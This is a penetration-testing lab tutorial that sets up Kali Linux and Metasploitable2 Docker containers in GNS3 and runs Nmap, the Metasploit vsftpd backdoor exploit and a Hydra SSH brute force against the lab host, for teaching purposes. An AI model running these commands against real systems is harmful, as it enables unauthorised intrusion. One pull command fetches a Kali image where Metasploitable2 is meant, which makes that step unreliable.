

Session 4: Penetration Testing with Kali Linux Docker in GNS3

Objective:

By the end of this session, you will be able to set up a vulnerable system within GNS3, connect it with a Kali Linux Docker container, and perform penetration testing using three different tools: Nmap, Metasploit, and Hydra.

Prerequisites:

- Kali Linux installed.
- GNS3 installed and a basic network setup completed as per the previous session.
- Basic understanding of Docker.

Steps:

1. Pull the Kali Linux Docker image:

```
docker pull kalilinux/kali-linux-docker
```

2. Pull a vulnerable system Docker image (e.g., Metasploitable2):

```
docker pull kalilinux/kali-rolling
```

2. Setting Up GNS3 with Docker Containers

3. Open GNS3 and create a new project.

4. Add Docker containers to GNS3:

- Go to Edit > Preferences > Docker containers.
- Click on New to add a new Docker template.
- Select Kali Linux from the drop-down menu or configure manually using the kalilinux/kali-linux-docker image.
- Similarly, add the Metasploitable2 Docker image.

5. Create the network topology:

- Drag and drop the Kali Linux Docker container onto the GNS3 workspace.
- Drag and drop the Metasploitable2 Docker container onto the GNS3 workspace.
- Connect the two containers using a switch.

6. Start the containers:

- Right-click on each container and select Start.

7. Configure network settings:

- Open the console for both containers.
- Assign IP addresses to ensure they are in the same subnet.
 - Kali Linux: `ifconfig eth0 192.168.1.2 netmask 255.255.255.0 up`
 - Metasploitable2: `ifconfig eth0 192.168.1.3 netmask 255.255.255.0 up`
- Ensure they can communicate:

ping 192.168.1.3 (from Kali)
ping 192.168.1.2 (from Metasploitable2)

3. Penetration Testing Tools

8. Nmap:

- Use Nmap to scan the Metasploitable2 system for open ports and services:

```
bash
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nmap -sS -A 192.168.1.3
```

9. Metasploit:

- Start Metasploit Framework:

```
msfconsole
```

- Conduct a basic attack (e.g., using the vsftpd exploit):

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST 192.168.1.3
exploit
```

10. Hydra:

- Perform a brute force attack on an SSH service (if running):

```
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.3 ssh
```

4. Documentation and Reporting

11. Document the findings:

- Record the steps taken, commands used, and results obtained for each tool.
- Take screenshots of the process and the results.

12. Create a report:

- Summarize the vulnerabilities found and the exploits used.
- Provide recommendations for securing the vulnerable system.